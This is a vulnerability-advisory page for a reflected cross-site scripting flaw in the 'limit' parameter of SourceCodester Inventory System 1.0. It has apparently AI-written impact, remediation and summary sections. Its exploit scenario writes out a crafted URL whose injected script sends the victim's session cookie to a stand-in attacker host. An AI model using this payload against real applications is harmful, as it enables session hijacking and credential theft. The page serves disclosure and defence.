Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Real-world risk is moderate to high, despite missing CVSS and EPSS data. The presence of publicly available exploit code significantly lowers the barrier to exploitation and should be weighted heavily in threat modeling. Reflected XSS has automatic attack potential (a single malicious link can compromise multiple users), and the technical impact is non-negligible-session hijacking and credential theft are feasible if the application handles sensitive purchase or user data. The absence of authentication requirements (the vulnerability is triggered via URL parameter) makes mass exploitation trivial. However, XSS impact depends on the target application's security posture (presence of HTTPOnly/Secure cookie flags, CSP, SameSite attributes). Without CVSS data, conservative assumption is that this is a legitimate priority for any deployment of Inventory System 1.0, especially if internet-facing. The POC availability is the strongest signal of real-world risk in this case. |
| Exploit ScenarioDerived | An attacker crafts a URL such as 'http://target.com/view_purchase.php?limit=<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' and sends it to a victim via email or embeds it on a compromised website. When the victim clicks the link or the page auto-loads, the injected script executes in the victim's browser within the context of the target application, exfiltrating session cookies or triggering further actions on behalf of the victim. Since publicly available exploit code exists, attackers require minimal technical skill to execute this attack at scale. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 27, 2026
Reflected cross-site scripting (XSS) in SourceCodester Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript or HTML through an unsanitized 'limit' parameter in the view_purchase.php file. The vulnerability affects unauthenticated users who click a malicious link, enabling session hijacking, credential theft, or malware distribution. Publicly available exploit code exists, elevating practical exploitation risk despite the absence of CVSS scoring data.
RemediationAI
Immediate action: upgrade SourceCodester Inventory System to the latest available version if a patch has been released by the vendor (verify at the SourceCodester website or official repository). If no patched version is available, apply input validation and output encoding: whitelist the 'limit' parameter to accept only numeric values, and use context-appropriate HTML entity encoding (e.g., htmlspecialchars() in PHP with ENT_QUOTES flag) before echoing user input in HTML context. As a temporary mitigation, implement a Web Application Firewall (WAF) rule to block requests containing common XSS payloads in the 'limit' parameter, enforce Content-Security-Policy (CSP) headers to restrict script execution, and ensure all cookies handling sensitive data are marked with HTTPOnly and Secure flags. The public exploit code available on GitHub (https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-ViewPurchase-limit.md) should be reviewed to understand the exact injection vector for better validation rules.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a Reflected XSS flaw rooted in improper input validation/output encoding (CWE category for cross-site scripting). SourceCodester Inventory System 1.0 is a PHP-based web application that processes the 'limit' parameter in view_purchase.php without sanitizing or encoding user-supplied input before rendering it in HTTP responses. This allows an attacker to break out of the intended context and inject malicious script tags or event handlers. The reflected nature means the payload must be delivered via a crafted URL (GET request), making it suitable for phishing or watering-hole attacks. No specific CPE string was provided in the source data, but the affected product is SourceCodester Inventory System version 1.0.
Know when Inventory System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Inventory System 1.0 in in the view_purchase.php file via the "limit" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.
Executive ViewAI
CVE-2026-30568 presents moderate security risk, a cross-site scripting vulnerability rated CVSS 4.8. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Inventory System
View allReflected XSS in SourceCodester Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript via the unva
Cross Site Scripting (XSS) vulnerability in InventorySystem thru commit e08fbbe17902146313501ed0b5feba81d58f455c (on Apr
Stored cross-site scripting in SourceCodester Inventory System 1.0 allows remote unauthenticated attackers to inject per
Stored cross-site scripting in SourceCodester Inventory System 1.0 is a genuine-but-low-priority issue: an authenticated
Cross-site scripting in SourceCodester Inventory System 1.0 allows an authenticated low-privileged user to inject script
Stored cross-site scripting in SourceCodester Inventory System 1.0 allows an authenticated user to inject script through
Improper authorization in SourceCodester Inventory System 1.0 allows authenticated remote attackers to manipulate the RO
Reflected cross-site scripting in SourceCodester Inventory System 1.0 allows remote authenticated attackers to inject ar
EUVD-2026-16730
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB